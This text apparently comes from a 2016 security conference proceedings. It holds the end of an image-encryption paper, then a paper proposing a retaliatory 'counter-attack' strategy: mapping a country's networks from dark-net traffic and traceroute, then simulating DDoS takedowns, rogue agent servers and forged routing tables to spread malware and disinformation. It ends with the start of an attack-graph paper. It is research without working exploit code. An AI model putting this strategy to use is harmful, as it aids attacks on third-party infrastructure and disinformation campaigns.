Table 6. Key sensitivity analysis.

Key Set NPCR (%) UACI (%) Changed
pixel values

x0 = 0.10000001, y0 = 0.775, b1 = 3.85, b2 = 0.5 99.5712 33.5017 281

x0 = 0.1, y0 = 0.77500000001, b1 = 3.85, b2 = 0.5 99.5773 33.3147 277

x0 = 0.1, y0 = 0.775, b1 = 3.85000001, b2 = 0.5 99.6033 33.4648 260

x0 = 0.1, y0 = 0.775, b1 = 3.85, b2 = 0.5000000001 99.5544 33.5422 292

5.6 Key Sensitivity Analysis

Any encryption algorithm should be highly sensitive to tiny change in the original
image and key should result in large change in the encrypted image in order to
achieve high security. In order to prove this, the key sensitivity test is performed
on decryption process by slightly altering one of the system parameters. The cor-
rect key set contains the parameter values as x0 = 0.1, y0 = 0.775, b1 = 3.85, b2 =
0.5 and slightly altered key is x0 = 0.1, y0 = 0.775, b1 = 3.85, b2 = 0.50000001.
The image decrypted with the correct key is shown in Fig. 9(b) and the corre-
sponding image which is decrypted using slightly altered key is shown in Fig. 9(c).
So, the proposed algorithm results in completely different decrypted image for
slightly altered key.
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Fig. 7. Histogram analysis of (a) Original images (Cameraman, Lena, Texture, Med-
ical). (b) Corresponding Ciphered image.
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Fig. 8. (a) Correlation plot of the plain Cameraman image in diagonal direction. (b)
Correlation plot of the ciphered Cameraman image in diagonal direction. (c) Correla-
tion plot of the plain Lena image along horizontal direction. (d) Correlation plot of the
ciphered Lena image along horizontal direction. (e) Correlation plot of the plain tex-
ture image along vertical direction. (f) Correlation plot of the ciphered texture image
along vertical direction.

Furthermore, the key sensitivity test is also performed by minute changing
one parameter at a time. The original key set is altered thereby generating four
different key sets. The performance of sensitivity test is measured using the
parameters NPCR and UACI which are tabulated in Table 6. From the table,
it is clear that the NPCR and UACI values are close to ideal and proposed
algorithm offers high sensitivity to secret key.
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Fig. 9. (a) Original image. (b) Decrypted image with correct key. (c) Decrypted image
with slightly altered key.

5.7 Avalanche Effect

This desirable property of any cryptographic algorithm measures the effect of
minute change either in the key or plaintext on ciphered text. The avalanche
effect is measured by slightly altering one of the parameters of the key set one at a
time which are tabulated in Table 6. From the table, it is clear that more number
of pixel values have been changed for slight change in the key set indicating that
the modified Henon map offers more security.

6 Conclusions

Large key space, sensitivity to initial conditions/system parameters with wide
range of chaotic regime are the key aspects in chaotic cryptography leading to the
development of chaotic maps that realize security requirements. In this respect,
the modified Henon map is studied analytically as well as through simulations.
The study reveals that the map has a chaotic regime over a wide range of system
parameters and the statistical properties of the map resemble that of the white
noise. Further, the usage of chaotic map in the encryption of image is evidenced
by using modified Henon map and sine map along with the security analysis. The
results show that the algorithm is secure in terms of NPCR, UACI, UQI, SSIM
etc. which can be used in reliable image encryption. It can also resist various
typical attacks when compared with other algorithms with respect to correlation
coefficient, entropy, NPCR and UACI.
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Abstract. In general, network attack should be prohibited and infor-
mation security technology should contribute to improve the trust of
network communication. Almost network communication is based on IP
packet which is standardized by the international organization. So, net-
work attack does not work without following the standardized manner.
Therefore network attack also leaks information concerning adversaries
by their IP packets. In this paper, we propose a new network attack strat-
egy which counter-attacks adversary. We collect and analyze IP packets
from adversary, and derive network topology map of adversary. The char-
acteristics of topology map can be analyzed by the eigenvalue of topol-
ogy matrix. We observe the changes of characteristics of topology map
by the influence of attack scenario simulations. Then we choose the most
effective or suitable network counter-attack strategy. In this paper, we
propose two kinds of attack scenarios and three types of tactics. And we
show example attacks using actual data of adversary who are observed
by our dark-net monitoring.

Keywords: Network attack · Dark-net monitoring · Topology map ·
Adjacency matrix · Laplacian matrix

1 Introduction

Network attack is not special threat today, and its purpose and technologies
are evolving complicate rapidly. APT (Advanced Persistent Threat) is seen fre-
quency nowadays, and organizing adversary groups is a typical issue. The mem-
bers of adversary group disperse worldwide or are maldistributed in a specific
area (such as country). The former case has possibility that the group belongs
to the worldwide terrorism organization. On the other hand, the latter case has
high possibility that the group has governmental support. In this paper, we focus
on the activity of adversary group who exists in specific country. Needless to say,
almost network attack uses IP packets. The specification of IP technologies are
determined by the international standardized groups such as IETF [11] and ISO
[12], and details of them are open to the public. As the result, IP packets used in
network attack have the information concerning to the action of adversary at the
same time. So, there are many security projects based on this facts such as Honey
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I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 243–262, 2016.
DOI: 10.1007/978-3-319-49806-5 13



244 H. Tanaka

pot project [1], Dark-net monitoring [9] and so on. Almost existing projects are
used for observation and analysis of network attack trend in worldwide scale.
From the viewpoint of analysis of IP packet, these security projects are regarded
as a passive use of information. On the other hand, our motivation stands on
the point of an active use information in IP packets to apply a counter-attack.

As already mentioned above, we focus on the adversary group in the specific
country. IP packets from adversaries have information of network infrastructures,
in the area. Therefore, we can analyze the topology map of target area by col-
lecting and analyzing IP packets from there. The characteristic of topology map
can be estimated by the eigenvalue of matrix which is derived from the topology
map. The analysis method using eigenvalue of topology map is developed by the
research field of network dynamics. Using these eigenvalues, we propose a new
network counter-attack strategy, which chooses the most effective and suitable
one. Network attack such as DDoS, also changes the topology map and its char-
acteristics. Focusing on this fact, we propose two kinds of attack scenarios and
three kinds of tactics. To evaluate our proposal attack method, we demonstrate
using actual data obtained by our dark-net monitoring. Note that we can not
show all of details because they have many sensitive topics.

There are some previous works which focus on the topology map analysis for
network security. However, for example [6], all of them are researched for the
purpose of developing defense technology, and there are no previous work for
attack strategy. In this point, our paper is very epoch-making one since we focus
on the counter-attack.

2 Preliminaries

2.1 Outline

The characteristics of network can be estimated by topology map analysis. The
topology map is expressed by some methods. In this paper, we take two kinds
of methods which apply integer matrix; Adjacency matrix [18] and Laplacian
matrix [22]. The eigenvalue of each matrix shows the characteristic of topology
map. In this paper, we focus on two types of characteristics; “Spread speed”
and “Convergence”. “Spread speed” denotes the characteristic which shows eas-
iness of communication. “Convergence” denotes the characteristic which shows
easiness of settling of information.

As an example of previous works using such eigenvalues of topology map,
there is a chain-reaction bankruptcy analysis of bank-transaction [15]. In this
work, they derived some topology maps of bank-transactions and calculate their
eigenvalues. Using these eigenvalues, they made it clear that only bankruptcy of
mega-bank is not always the cause of the financial crisis.

Network dynamics is the research field which analyzes a phenomenon using
such characteristics of the network. In this paper, we apply the basic technique
of network dynamics to develop the method of network attack.
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2.2 Adjacency Matrix

Let G be a topology map with n nodes. Then G can be expressed as n × n
Adjacency matrix A. Let Ai,j (1 ≤ i, j ≤ n) be an element of matrix A as
follows.

Ai,j =
{

1 if i is adjacent to j, and
0 if i is not adjacent to j.

(2.1)

Note that Ai,i = 0 because Ai,i denotes link to itself. Let degree of node i be the
Hamming-weight of i-th row (or i-th column). From the symmetry of matrix A,
a condition of Ai,j = Aj,i holds (i-th row and i-th column denote same adjacency
of i-th and j-th node). The node which has large degree is defined as “hub-node”.
Let λ be the eigenvalue of A, which is derived following characteristic equation.

det(λI − A) = 0 (2.2)

Since the characteristic equation has n-th degree, eigenvalue can have different
m(1 ≤ m ≤ n) values. Let λmax(A) be the maximum value of λ. Then the value
of λmax(A) shows the characteristic of the connection density among hub-nodes.
And it indicates the characteristic of “Spread speed” of topology map.

2.3 Laplacian Matrix

A topology map G also can be expressed by Laplacian matrix L. Let Li,j(1 ≤ i,
j ≤ n) be an element of matrix L as followings.

Li,j =

⎧
⎨

⎩

di if i = j,
−1 if i is adjacent to j, and
0 if i is not adjacent to j,

(2.3)

where di denotes the degree of i-th node. The eigenvalues of L is also derived by
the same way of Adjacency matrix, using Eq. (2.2). So we have m(1 ≤ m ≤ n)
different values for L as follows.

0 = λ1(L) ≤ λ2(L) ≤ . . . ≤ λmax(L) (2.4)

The minimum value λ1(L) is always equals to zero. The second minimum value
λ2(L) > 0 shows algebraic connectivity of topology map. When λ2(L) has large
value, the topology map has high connectivity. The maximum value λm(L) shows
the difficulty of connection delay. The synchronization of topology map can be
evaluated by the ratio R = λ2(L)/λm(L). When R has large value, it indicates
the characteristic of “Convergence” of topology map.
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Fig. 1. Example topology map with seven nodes

2.4 Example Analysis

We show an example analysis using topology map with seven nodes shown in
Fig. 1. From this figure, we can derive following Adjacency matrix A.

A =

⎛

⎜
⎜
⎜
⎜
⎜
⎜
⎜
⎜
⎝

0 0 1 0 0 0 0
0 0 1 0 0 0 0
1 1 0 1 0 1 0
0 0 1 0 1 0 0
0 0 0 1 0 1 1
0 0 1 0 1 0 0
0 0 0 0 1 0 0

⎞

⎟
⎟
⎟
⎟
⎟
⎟
⎟
⎟
⎠

(2.5)

By using Eq. (2.2), we have following eigenvalues.

λ1(A) = −2.358 λ5(A) = 0.000
λ2(A) = −1.199 λ6(A) = 1.199
λ3(A) = 0.000 λ7(A) = 2.358
λ4(A) = 0.000

As the result, we have λmax(A) = 2.358. In the same way, we can derive follow-
ing Laplacian matrix L.
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L =

⎛

⎜
⎜
⎜
⎜
⎜
⎜
⎜
⎜
⎝

1 0 −1 0 0 0 0
0 1 −1 0 0 0 0

−1 −1 4 −1 0 −1 0
0 0 −1 2 −1 0 0
0 0 0 −1 3 −1 −1
0 0 −1 0 −1 2 0
0 0 0 0 −1 0 1

⎞

⎟
⎟
⎟
⎟
⎟
⎟
⎟
⎟
⎠

(2.6)

From this matrix and Eq. (2.2), we have following eigenvalues.

λ1(L) = 0.000 λ5(L) = 2.000
λ2(L) = 0.514 λ6(L) = 3.836
λ3(L) = 1.000 λ7(L) = 5.314
λ4(L) = 1.336

Then we have R = λ2(L)/λ7(L) = 0.1237.

3 Basic Idea

3.1 Back Ground

Nowadays, almost network communication is based on IP packet technology. The
specification of IP packet is standardized and open to the public. Figure 2 shows
the contents of IP packet structure and we can find that IP packet has many
informations in its header; protocol, source IP address, destination IP address,
timeout and so on. In general, every network attack does not work when they
do not follow the specification of IP packet. From this fact, two big topics are
focused; defense topic and attack one.

Fig. 2. Contents of IP packet
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In the defense topic, there are many projects to observe network attack
using information in malicious IP packets. Among them, “Dark-net monitor-
ing” is common to use in relatively large organizations such as governmental
institutes, universities, enterprises and so on. “Dark-net” is local network space
whose global IP addresses are not used. Therefore IP packets which arrived to IP
addresses in Dark-net, are regarded as malicious action. Today, the analysis of
Dark-net access (Dark-net monitoring) is regarded as a defense method to detect
network attacks. There are many projects of world scale Dark-net monitoring,
such as Nicter [16], Norse [21] and so on.

For the attack topic, we need to hide true IP address; forged IP address,
spoofing, springboard and so on. In many cases, springboard PCs known as
bot-net is common attack method and we can also find such access in Dark-net
monitoring. In fact, there are many methods which detect springboard PCs and
find out true malicious IP address [13,19,23]. However, even if springboard PC is
intentional or accidental, in this paper, we suppose that springboard PCs which
execute persistent access to Dark-net are adversaries.

In our proposal method, we observe Dark-net and collect IP address from the
attackers. Then we classify them using country information in IP address and
derive topology map of adversary [10]. Therefore our proposal method requires
Dark-net monitoring operations in own organization.

3.2 Deriving Topology Map

The “traceroute command” is available on almost modern computer systems. It
is a network diagnostic tool for displaying the route to given IP address. There
are some existing results using traceroute command to analyze network [2,4,20].
As shown above, IP address and IP packet have many information concerning to
adversary. Our purpose is to derive network topology map attacking us. In our
strategy, malicious IP addresses monitored in Dark-net are classified adversary
group by categorizing their packets. To do this procedure, we collect different

Fig. 3. Example result of “traceroute”
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Fig. 4. Driving malicious topology map

malicious IP addresses from same country or region. Then we execute traceroute
them, and we estimate the topology map of the target area. We call such topology
map as the malicious topology map in the followings.

However, the results of traceroute command do not always show all IP address
on the route. Figure 3 shows an image of result of traceroute command (note
that symbol “X” denotes some numbers). In this figure, in line 14-th and 17-th,
the symbol “* * *” denotes no answer from the server or the router on the
path. In this case, unfortunately, we can not know its IP address. First, we
make a temporary topology map holding these unknown IP address. Then we
delete these unknown IP addresses from temporary topology map, and we derive
resultant topology map such as Fig. 4. We define such resultant topology map as
the malicious topology map. Actually, there is an open project to estimate the
detailed Internet topology map such as CAIDA [3]. However, our purpose does
not follow their service policy. So, note that we derive a topology map by our
own method. If we can get cooperation with the organization such as CAIDA,
it is obvious that we can get precise malicious topology map easily.

The malicious topology map can be expressed by Adjacency matrix and
Laplacian matrix. Therefore, as shown in Sect. 2, we can analyze its character-
istics by its eigenvalues.

3.3 Our Strategy

The threat scenarios of network attack is complicated and various, and they are
evolving in every second. In this paper, we focus on following two types.

Scenario-1. Spread of malware and disinformation
Scenario-2. Concentration and confusion of information sharing

Scenario-1 is easy to understand and typical case of network attack, so we omit
the details. The purpose of Scenario-2 is to generate the differentials in informa-
tion sharing between target area and others and make confusion among them.
This scenario is also based on the one of important characteristics of Internet
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technology such as immediacy of information sharing. By using this character-
istics, we can generate a threshold of intentional diffusion of information. This
scenario is similar to spreads of rumor, but it is different from such scenarios in
the point that the difference in the spread of different informations are gener-
ated deliberately. The effectiveness of these attack scenarios can be estimated
by the characteristics of malicious topology map. Therefore the effectiveness of
Scenario-1 is related to the characteristic of “Spread of speed” and Scenario-2 is
related to “Convergence” respectively [7,17].

On the other hand, network attack has various tactics such as DDoS attack,
XSS, down of services, constructing rogue servers, and so on. These tactics have
influence on the topology map and can change its characteristics. Therefore
the attacker can choose attack scenario and discuss its effectiveness by select-
ing tactics. In this paper, we consider following three tactics and simulate its
effectiveness against change of characteristics of malicious topology map.

Tactics-1. Down of server
Tactics-2. Construction of agent server
Tactics-3. Combination of Tactics-1 and Tactics-2

Tactics-1 can be achieved by the well-know attack such as DDoS. Tactics-2 can
be achieved by using IP address which are not well-managed.

There are some problems such as slow down of communication speed and fea-
sibility, with the attack execution. And the choice and location of agent server
have a big influence on effectiveness of strategy. These problems influence effec-
tiveness and feasibility of strategy, however, they are individual problems for
every actual malicious topology map, so we omit them in this paper. Therefore
we analyze the optimal attack effectiveness by brute force search, so, we limits
the size of malicious topology map within our computer can analyze. In this
paper, we limit the maximum number of nodes is 100.

3.4 Eigenvalue and Effectiveness of Tactics

Let #n be a number of nodes and #� be a number of links in a topology map.
Since the maximum value of #� means to make the complete graph with n nodes,
the condition of #� ≤ nC2 holds. From the view point of our tactics, we cannot
make more number of links than the condition. From this fact, we can find that
the maximum eigenvalue is determined by the optimal tactics; λmax(A) = n − 1
and λmax(L) = n. We can see the relation between the value of (#n,#�) and
each tactics as follows.

Tactics-1. decreases #n and decreases #�
Tactics-2. increases #n and increases #�
Tactics-3. holds #n and increases #�

The changes of values of (#n,#�) and each tactics are summarized as Table. 1.
In this table, the symbols “—”, “↗” and “↘”, denote unchanged, increase and
decrease respectively. Note that we assume the number of stopped servers equals
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to the number of generation of agent servers in Tactics-3. From these facts, we
expect followings.

Expectation-1. Tactics-1 will be useless for Scenario-1. When decrease of max-
imum eigenvalue is smaller than decrease of minimum eigenvalue, Tactics-1
will be useful for Scenario-2.

Expectation-2. Tactics-2 will be useful for Scenario-1. When increase of max-
imum eigenvalue is smaller than increase of minimum eigenvalue, Tactics-2
will be useful for Scenario-2.

Expectation-3. The effectiveness of Tactics-3 will be inferior to Scenario-1 than
Scenario-2. On the other hand, Tactics-3 is most effective for Scenario-2,
because it adjusts the balance of relation between maximum eigenvalue and
minimum one to maximize the value of R.

As the results, we can conclude as followings.

(1) It is enough for Scenario-1 to execute only Tactics-2 simulations.
(2) It is necessary for Scenario-2 to execute all of tactics to search for most

effective tactics.

In the followings, to discuss our expectations, we execute all tactics for both
scenarios.

Table 1. Correlation of number of nodes(n), number of links(�), eigenvalue(λ) and
tactics

n � λ

— — —

↗ ↗ Tactics-3

↘ ↘
↗ — —

↗ ↗ Tactics-2

↘ ↘
↘ — —

↗ ↗
↘ ↘ Tactics-1

4 Proposal Counter-Attack Strategy

Our proposal counter-attack strategy is defined as the combination of scenario
and tactics shown in Sect. 3.3. Since we have two kinds of scenarios and three
types of tactics, we have total six patterns of counter-attack strategy. In fact,
our proposal attack strategy satisfies following purposes.
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Purpose-1. Choose an attack scenario and search for the most effective tactics.
Purpose-2. Choose an attack scenario and change the malicious topology map

by the tactics.
Purpose-3. Search for the most effective tactics to the given malicious topology

map and decide the attack scenario.

Purpose-1 and Purpose-2 can be regarded as a part of tactics from the view
point of the counter-attack operation. Our proposal counter-attack strategy will
contribute such concrete purpose, however, these cases are too specific to describe
in this paper. On the other hand, Purpose-3 is only executing some retaliative.
The detail of Purpose-3 is ambiguous but it is general for almost counter-attack.
Therefore, in the followings, we stand the position of Purpose-3.

The procedure of our proposal strategy is as follows.

Step-1. Collect IP addresses from the target area (malicious IP group).
Step-2. Execute traceroute command for malicious IP group.
Step-3. Derive the malicious topology map.
Step-4. Execute simulation of Tactics-1 ∼ Tactics-3 for both scenarios.
Step-5. Select the best result in Step-4 as the scenario and tactics.

In Step-1, we assume that we can use access log, Dark-net monitoring and
so on. We used our Dark-net monitoring log since it does not need to extract
attack accesses in our experiments. An important point here, is to collect many
IP address as possible. The huge number of IP address which is as many as
possible, contributes to derive the malicious topology map correctly. We call
these IP addresses as malicious IP group.

In Step-2, it is desirable to execute traceroute command from more than one
different place. And for even same IP address, it is desirable to execute changing
time and a day of week sometimes. Because the network traffic will change by
time and a day of week, so there is possibility that network routing changes. As
the result, it is possible to get more new different IP addresses on the route, and
to derive more precise topology map.

In Step-3, we take the method shown in Sect. 3.2. The details of Step-4 and
Step-5 are shown in Sect. 5. In this paper, we estimate computational complexity
C as the number of calculation of eigenvalues. So the computational complexity
of Step-4 is determined by the number of total nodes (N) in the malicious
topology map, the number of attack target nodes (n), the number of agent
servers (m) and the number of links from each agent server (�), as follows.

Tactics-1: C1 = NCn (4.1)

Tactics-2: C2 =
m∑

i=1

(N+i−1)C� (4.2)

Tactics-3: C3 = NCn ×
m∑

i=1

(N+i−1)C� (4.3)
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5 Example Execution of Our Counter-Attack Strategy

5.1 Step-1: Collect IP Address and Dark-Net Monitoring

In the monitoring period (March 1st ∼ 21st, 2013), we recorded total 1,654,925
of malicious access for our Dark-net. Among these accesses, there are 1,093,859
different IP addresses. Using the country information of IP address, the access
numbers of each countries are summarized as Table 2. In the followings, we focus
on Country-C and Country-B because the size of topology map is adequate for
our computer simulations. Note that we have no other intentions at all. We show
the details of procedure for Country-C mainly, and only results are shown about
Country-B.

Table 2. Access numbers of each countries

Country Access number IP addresses

Total 1,654,925 1,093,859

Country-A 757,775 553,689

Country-B 75,785 53,390

Country-C 8,728 3,674

Country-D 3,896 2,089

5.2 Step-2: Traceroute

We executed traceroute for 3,674 different IP addresses with the parameter as
follows.

$ traceroute − I − n − m 30 IP address

Using these parameters, we can get 30 IP addresses on the route for target IP
addresses. Note that we focus on the IP addresses in the Country-C. For the
restriction in our network environment, we execute them from only single start
point, and we did not execute them changing time and a day of week. As the
result, we got 2,119 of new IP addresses in Country-C. We omit IP addresses
which do not exist in the result of traceroute or isolate in the temporary topology
map. Thus we have 2,119 nodes with 3,819 links, which is smaller than the initial
recorded 3,674 IP addresses. We needed about 2 days for this process.

In the same way, we executed same procedure against Country-B whose num-
ber of initial recoded IP addresses is 53,390. As the result, we got the resultant
topology map of 17,684 nodes with 24,163 links. Since we had network troubles
in experiment period, we needed about one month for this process.
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Fig. 5. Malicious topology map in Country-C

Fig. 6. Malicious topology map with 100 nodes in metropolitan area in Country-C

5.3 Step-3: Estimation of Topology

Using the estimation method shown in Sect. 3.2 for the resultants of traceroute,
we have the malicious topology map of 2,119 nodes with 3,819 links as shown
in Fig. 5. But this topology map is too large for our computer environment to
execute the proposal counter-strategy. Therefore, we limited the number of nodes
to 100, and focused on the nodes in the metropolitan area using the information
of IP locator and whois database. As the results, our target malicious topology
map of 100 nodes with 187 links, is derived as Fig. 6.

In the same way, Fig. 7 shows malicious topology map of Country-B. By the
same reason of Country-C, we derived the target malicious topology map of 100
nodes with 712 links, as shown in Fig. 8.

Comparing Figs. 5 and 7, in spite of the same number of nodes in each other,
the difference between them is obviously. We can find that Country-B has two
huge high density cluster however, Country-C has only one big hub node and
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Fig. 7. Malicious topology in Country-B

Table 3. Specification of our computer environment

OS Windows 7 Professional 64bit

Compiler python 3.3.5

CPU Intel(R) Core(TM) i7-3770 CPU 3.40 GHz

Memory 16.0 GB

Fig. 8. Target topology with 100 nodes in metropolitan area in Country-B

sparse topology map. This difference is caused by the number of links and it will
have influence on the choice of attack strategy.
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5.4 Simulation of Tactics and Results

The initial values of target malicious topology map of Country-C are λmax(A) =
10.0785 and R = 0.005487. Because of limited of specification of our computer
environment (Table 3), we set the parameters of each tactics as follows.

N = 100, n = 100, m = 1 and � = 2.

The computational cost and simulation time for each scenario and tactics are
summarized in Table 4. In the same way, we executed our proposal strategy to
Country-B. The initial values of target malicious topology map of Country-B are
λmax(A) = 24.2098 and R = 0.002853. The number of nodes and the condition
of tactics decide the computational cost. Since the conditions are same, the
computational cost for Country-B is same as one of Country-C (Table 4) .

Table 4. Computational cost and simulation time for Country-C

Scenario-1 Scenario-2

Computational complexity Time (sec) Computational complexity Time (sec)

Tactics-1 100 1.4 100 2.0

Tactics-2 4,950 68.0 4,950 100.1

Tactics-3 485,100 21,651.9 485,100 27,699.4

The results for Country-C show in Figs. 9, 10 and Table 5. And the results
for Country-B show Figs. 11, 12 and Table 6. Note that we omit IP addresses
of target servers; Stopped Server and Agent Server, because they are sensitive
information. We can derive following strategies for each country.

λmax(A) = 10.0785 λmax(A) = 10.1152 λmax(A) = 10.1152

Fig. 9. [Scenario-1] Spread of malware and disinformation (Country-C)
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Table 5. λmax(A) and R of Initial topology and each Tactics (Country-C)

Topology λmax(A) R

Initial topology map 10.0785 0.005487

Tactics-1 10.0785 0.005950

Tactics-2 10.1152 0.006329

Tactics-3 10.1152 0.007122

R = 0.005950 R = 0.006329 R = 0.0071226

Fig. 10. [Scenario-2] Concentration and confusion of information sharing (Country-C)

Table 6. λmax(A) and R of Initial topology and each Tactics (Country-B)

Topology λmax(A) R

Initial topology map 24.2098 0.002853

Tactics-1 24.2098 0.012527

Tactics-2 24.2165 0.003553

Tactics-3 24.2165 0.013652

Strategy for Country-C

Scenario-1. The effectiveness of Tactics-2 and Tactics-3 are same. And the
effectiveness of Tactics-1 becomes same as the initial value. From these results,
we can confirm that Expectation-1 and Expectation-2 shown in Sect. 3.4, are
almost right. As the result, we can conclude that the most effective tactics
for Scenario-1 is Tactics-2 against Country-C.

Scenario-2. We can conclude that Tactics-3 is the most effective for Scenario-2
against Country-C. Therefore, we can confirm that Expectation-3 is almost
right. Since it is not appropriate to show concrete IP addresses, we omit
details, however, Tactics-3 can success to divide the malicious topology map
into three areas.
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λmax(A) = 24.2098 λmax(A) = 24.2165 λmax(A) = 24.2165

Fig. 11. [Scenario-1] Spread of malware and disinformation (Country-B)

R = 0.012527 R = 0.003553 R = 0.013652

Fig. 12. [Scenario-2] Concentration and confusion of information sharing (Country-B)

Strategy for Country-B

Scenario-1. The effectiveness of Tactics-2 and Tactics-3 are same. And the
effectiveness of Tactics-1 becomes same as the initial value. These results
are same as the cases of Country-C. Also from these results, we can confirm
that Expectation-1 and Expectation-2 are almost right. As the result, we
can conclude that most effective tactics for Scenario-1 is Tactics-2 against
Country-B.

Scenario-2. We can conclude that Tactics-3 is the most effective for Scenario-2
against Country-B. Therefore, we can confirm that Expectation-3 is almost
right. Since the same reason for Country-C, we show only the result that
Tactics-3 can success to divide the malicious topology map into six areas.
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6 Consideration About Example Results

6.1 Tactics-1 Does Not Becomes Smaller Than the Initial Value

In Expectation-1, we expected that the results of Tactics-1 become smaller than
the initial value, so there is no effectiveness in Scenario-1 with Tactics-1. For-
tunately, the both results of Country-C and Country-B hold the initial values.
When such condition holds, we will be able to execute Scenario-1 and Scenario-2
at once, because the target of Scenario-1 will not disturb the effectiveness of
Scenario-2. The analysis of feasibility of a concurrent execution of Scenario-1
and Scenario-2 is our future work.

6.2 Tactics-3 Is the Most Powerful

It is obvious that the condition of Tactics-3 for attacker is most advantageous.
Therefore it realizes more than 10% of improvement is estimated compared with
initial value of Scenario-2. However, there are some big problems such as huge
computational cost, feasibility for realistic attack and so on. These problems
are discussed in Sect. 7. For Country-B, Scenario-2 with Tactics-1 has second
effectiveness which is much better than third one; it is little inferior to the best
one. It is obvious to execute Tactics-1 is very easier than Tactics-3. Therefore,
Scenario-2 with Tactics-1 can be more suitable strategy by a case.

6.3 Computational Cost for Tactics-3

Also mentioned above, the computational cost for deriving Tactics-3 is huge.
To solve this problem, we try to derive Tactics-3 using the results of Tactics-1
and Tactics-2. In Scenario-1, we will be able to derive Tactics-3 using them.
Because the target server is same as Tactics-1 and the generated links as same
as Tactics-2. Our another computer experiments also show the same results. So
we can conclude that Tactics-3 for Scenario-1 can be derived using results of
Tactics-1 and Tactics-2. But, we can not find out any relations among these
results in Scenario-2. We conclude that it is necessary to execute separately in
Scenario-2. Development of the method to reduce the necessary computational
cost for Tactics-3 in Scenario-2 is our future work.

7 Discussion and Conclusion

In this paper, we propose a new network counter-attack strategy using topology
map analysis and show an example executions. Since network attack bothers our
usual operation, we believe such action should be prohibited. However, network
attack also brings informations concerning to adversaries, so we should observe
them effectively. Our motivation is based on these facts. Using our proposal
strategy, we can derive tactics which determines the position of target server
and agent server, to execute scenario. However, our proposal method does not
enable to make an estimation of the actual attack effect. To make proposal
method as more practical strategy, we need to solve following problems.
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Problem-1. Parameterization of Attack-Tolerance of Each Nodes. In
our method, the security level of all nodes is same. In particular, we do not set any
attack method (such as DDoS, XSS and so on), so the security level is set zero.
But in the real network operation, each node has own role (such as router, Web
server, Mail server, clients and so on). Therefore each node has own security level
according to its role. In addition, even if same role, the security level is different
whether it is located in back-born network or end point. As a result, security
level is various and it is not realistic to set uniformly. To solve this problem,
we expect analysis methods of virus infection and Network dynamics [14]. And
IP locater and geopolitical scheme will help the settings of parameterization of
security level of each nodes [5,8,24]. These are our future works.

Problem-2. Analysis of Actual Attack Results and Optimum Values of
λmax(A) and R. A relation between attack result and value of λmax(A) and
R should be analyzed. Since the maximum values of them are determined by
the number of nodes and links, they decide the topology map definitely. Thus,
we can also derive tactics from the difference between the initial topology and
resultant topology with maximum values. So we can derive an optimum value
of λmax(A) and R theoretically, however, there is no realistic meaning. Because
the maximum values can be derived from only the complete graph. Even if
the attacker has an infinite powerful conditions, it is unrealistic to change the
initial topology map to the complete graph. Therefore we can conclude that the
estimation of optimum values of λmax(A) and R is useless. On the other hand, in
this paper, we estimate attack effect only in comparing with the initial value of
λmax(A) and R. But it is not clear how increase from initial value is contributing
to the attack result. The analysis of it is also our future work.

Problem3. Analysis of Feasibility of Tactics-2 and -3 in Real Network
Environment. We face two problems in Tactics-2 and Tactics-3 as follows.

Setting of agent server. There are many un-managed IP addresses such as
Dark-net. In particular, the cases which student group used IP address with-
out notice, and manage phishing servers are reported, at some universities
that has many IP addresses. From this fact, it will be easy to set agent
servers if we do not specify the location. Therefore a set at the most effective
location may be impossible, but we can conclude that this problem can be
solved.

Generation of links. After the set of agent servers, we need to generate links.
There are two ways to realize it. One is to establish physical communication
lines or construct new network infrastructure. Another is to forge routing
tables. The former way is powerful but we cannot expect its feasibility. The
latter way is realistic. Though we will need to forge many routers and their
tables, the feasibility will be high by the same reason of above. In particular,
when attack scenario and tactics are decided beforehand, the execution will
be easy.
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As shown above, our proposal strategy derives the effective combination of sce-
nario and strategy, but does not show any concrete attack method. We need
to develop the concrete attack method realizing the strategy. In particular, we
can success to divide the malicious topology map into some isolated areas in
Scenario-2 however, we do not search for the most suitable sender node of disin-
formation in each divided area. As a simple solution, we discuss the execution of
Scenario-1 in each area to search for the sender node. Evaluation of such solution
and development of new method are our future works. In addition, we expect
that Scenario-2 is effective to attack against small network such as LAN, sensor
network and so on. Development of the attack technique to such small and local
network is also our future works.

Acknowledgments. Special thanks to Capt. Kengo Komoriya, Japan Ground Self
Defense Force. Without his computer simulations and extremely humorous, this
research work would not have been possible. This work was supported by JSPS KAK-
ENHI Grant Number 24560491.

References

1. Artail, H., Safa, H., Sraj, M., Kuwatly, L., Al-Masri, Z.: A hybrid honeypot frame-
work for improving intrusion detection systems in protecting organizational net-
works. J. Comput. Secur. 25(4), 274–288 (2006)
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Abstract. Attack Graphs have been widely used by the network secu-
rity administrators to gain an understanding of possible attack paths,
an attacker may follow to compromise critical resources. As networks
get larger and more complex, one needs to use databases to perform
iterative, interactive analysis tasks with attack graphs. In this paper we
investigate how property graph based graph databases like Neo4j can be
effectively used towards this application. We show that extending the
standard property graph model with a constraint specification mecha-
nism aids attack graph modeling and interactive analytics. We briefly
sketch a preliminary attempt to implement a constraint layer over Neo4j
and show how attack graph generation and analysis can be performed
faithfully in Neo4j using the extended model.

1 Introduction

Analyzing the impacts of vulnerabilities in a network is a significant task in
designing and developing secure network infrastructures. As today’s enterprise
networks become larger and more complex, the problem of vulnerability analysis
grows more than linearly with the size of the network. Attack graph based vul-
nerability analysis are typically performed as a design-time exercise where the
knowledge of network topology, its content and known weaknesses are iteratively
analyzed to develop a more robust network. In this setting, a security analyst
would typically like to perform interactive what-if analyses on the network at
hand, and then change the network configurations and/or security conditions to
perform the next round of analysis.

Graphs provide a natural data model while considering automated techniques
for network security analysis. The topology consisting of the physical and logical
components that constitute the network can be represented as a graph. Further,
the pattern of network based attacks, which in addition to the network topology
also depends on the configuration of traffic limiting devices such as firewalls,
intrusion prevention systems etc., software services installed on host machines,
the vulnerabilities of these services, the preconditions (e.g., access privileges)
that must be satisfied to execute an attack, forms another kind of graph. One
can think of this second graph as a dependency graph. An attack can be viewed
c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 263–282, 2016.
DOI: 10.1007/978-3-319-49806-5 14
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as a progression that satisfies the dependencies one after another to gain unau-
thorized access to a network resource or perform an unauthorized operation.
In other words, an attack may be thought of as a path or trajectory over the
dependency graph.

Wang et al. [30] were among the first to use a database system to represent
attack graphs. They adopted the exploit dependency graph representation of
attack graph, which essentially is a directed graph of two types of vertices called
security conditions and exploits and two types of edges imply and require. These
graphs are constructed based on the monotonicity assumption [5], which says
that an attacker never relinquishes a resource/privilege it has gained control of.
In this formalism an attack graph is a merger of attack paths over this graph,
